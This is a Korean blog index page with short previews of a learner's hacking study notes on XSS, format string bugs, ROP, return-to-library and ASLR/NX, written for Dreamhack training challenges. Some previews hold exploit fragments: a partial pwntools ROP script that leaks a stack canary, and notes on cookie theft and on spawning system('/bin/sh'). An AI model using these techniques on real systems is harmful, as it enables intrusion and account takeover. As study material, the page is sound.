해킹(17)
-
[컴퓨터구조, opcode] expending an opcode application
gdb 분석을 위해 알아야할 지식 (tistory.com) gdb 분석을 위해 알아야할 지식 1. 프로세스 구조 프로세스 : 프로그램이 메모리 상으로 올라와 실행된 상태 위의 사진은 가상메모리의 레이아웃 상태이다. (물리적인 메모리는 저 가상메모리와 다르게 섞여있을 수 있다. 이유 sumsum2.tistory.com 여기서 연장선상의 내용을 한번 포스팅 해보려고한다. 설명이 너무 컴팩트하다고 느껴졌고, 좀더 자세한 내용을 담고 싶었다. 원래는 본문 수정만 하려고 했는데 생각보다 내용 추가할 게 많아서 새 글로 포스팅을 하게 되었다. 2. 어셈블리 cpu 아키텍처가 x86에서 x86-64로 변함에 따라 레지스터들 또한 늘었다. rax, rbx, rcx,rdx,rsi,rdi,rbp,rsp,r8,r9,r10,..
2023.05.27 -
[dreamhack] XSS
XSS : 클라이언트 사이드 취약점 중 하나, 공격자가 웹 리소스에 악성 스크립트를 삽입해 이용자의 웹 브라우저에서 해당 스크립트를 실행할 수 있음. 공격자는 해당 취약점을 통해 특정 계정의 세션 정보를 탈취하고 해당 계정으로 임의의 기능을 수행할 수 있다. ex) 드림핵 웹 페이지에서 XSS 취약점이 존재하면 https://dreamhack.io 내에서 오리진 권한으로 악성 스크립트를 삽입합니다. 이후에 이용자가 악성 스크립트가 포함된 페이지를 방문하면 공격자가 임의로 삽입한 스크립트가 실행되어 쿠키 및 세션이 탈취될 수 있습니다. SOP 보안 정책이 등장하면서 XXS공격이 어려워지긴 함 123 html의 // 이용자의 위치를 변경. // 피싱 공격 등으로 사용됨. location.href = ""; ..
2023.05.20 -
[pwnble] format string buf
format string bug, 일명 fsb는 print의 출력 형식을 이용한 공격 기법이다. char buf[0x50]; read(0, buf, 0x50); printf(buf); 와 같은 꼴일 때 일어난다. 여기서 printf("%s", buf); 형태가 아닌 그냥 printf(buf)를 받았을 때 fsb 공격이 가능하다. 때문에 해킹문제로는 자주 나오는 형태이지만 실제로는 잘 없는 케이스의 공격기법이다. 여기서 이용해야할 것은 바로 %n, %s, %c, %x, %p 같은 format string 형식이다. printf("%x %x %x %x %x %x %x %x"); 을 실행해보자. 위에는 아무런 인자가 없는데도 위의 값은 오류가 뜨지 않고 실행된다. 함수 호출 규약에 따라 64비트 아키텍처의 경..
2023.05.05 -
[dreamhack] Exploit Tech: Return Oriented Programming
from pwn import * def slog(name, addr): return success(": ".join([name, hex(addr)])) p = remote("host1.dreamhack.games", 9826) e = ELF("./rop") libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") # [1] Leak canary buf = b"A"*0x39 p.sendafter("Buf: ", buf) p.recvuntil(buf) cnry = u64(b"\x00"+p.recvn(7)) slog("canary", cnry) # [2] Exploit read_plt = e.plt['read'] read_got = e.got['read'] puts_plt = e.pl..
2023.05.01 -
[dreamhack] rutern to Library, 개념혼동 정리
x86-64의 호출 규약에 따르면 이는 rdi=”/bin/sh” 주소인 상태에서 system 함수를 호출한 것과 같다. 이 예제에서는 “/bin/sh”의 주소를 알고, system 함수를 호출할 수 있으므로 “/bin/sh”의 주소를 rdi의 값으로 설정할 수 있다면 system(“/bin/sh”)를 실행할 수 있습니다. 이를 위해선 리턴 가젯을 활용해야 합니다. 가젯은 프로그램상의 코드 조각을 의미한다. 여기서 우리는 ret가젯을 사용할 것이다. pop rdi이후 ret하는 가젯을 사용한다. 그렇게 되면 rdi에 있는 주소로 점프하는 식의 동작이 되는 것이다. 는 것이 이 return to library의 요점이다. 이때 개념의 혼동이 생겼다. "어셈블리코드를 명령어처럼 작동시키는 것 같은데 쉘코드랑 ..
2023.03.29 -
[dreamhack] NX, ASLR 보호기법 공부
NX, ASLR 보호기법 Address Space Layout Randomization(ASLR) : 바이너리가 실행될 때마다 스택, 힙, 공유 라이브러리 등을 임의의 주소에 할당하는 보호 기법 No ASLR(0): ASLR을 적용하지 않음 Conservative Randomization(1): 스택, 힙, 라이브러리, vdso 등 Conservative Randomization + brk(2): (1)의 영역과 brk로 할당한 영역 main을 제외하면 모두 주소가 실행할 때 마다 달라짐. 다만 libc_base와 printf와 같은 라이브러리는 하위 12비트는 같으며, 늘상 일정한 거리에 떨어져 있다. 보호 기법 확인 cat /proc/sys/kernel/randomize_va_space 2 cat /..
2023.03.29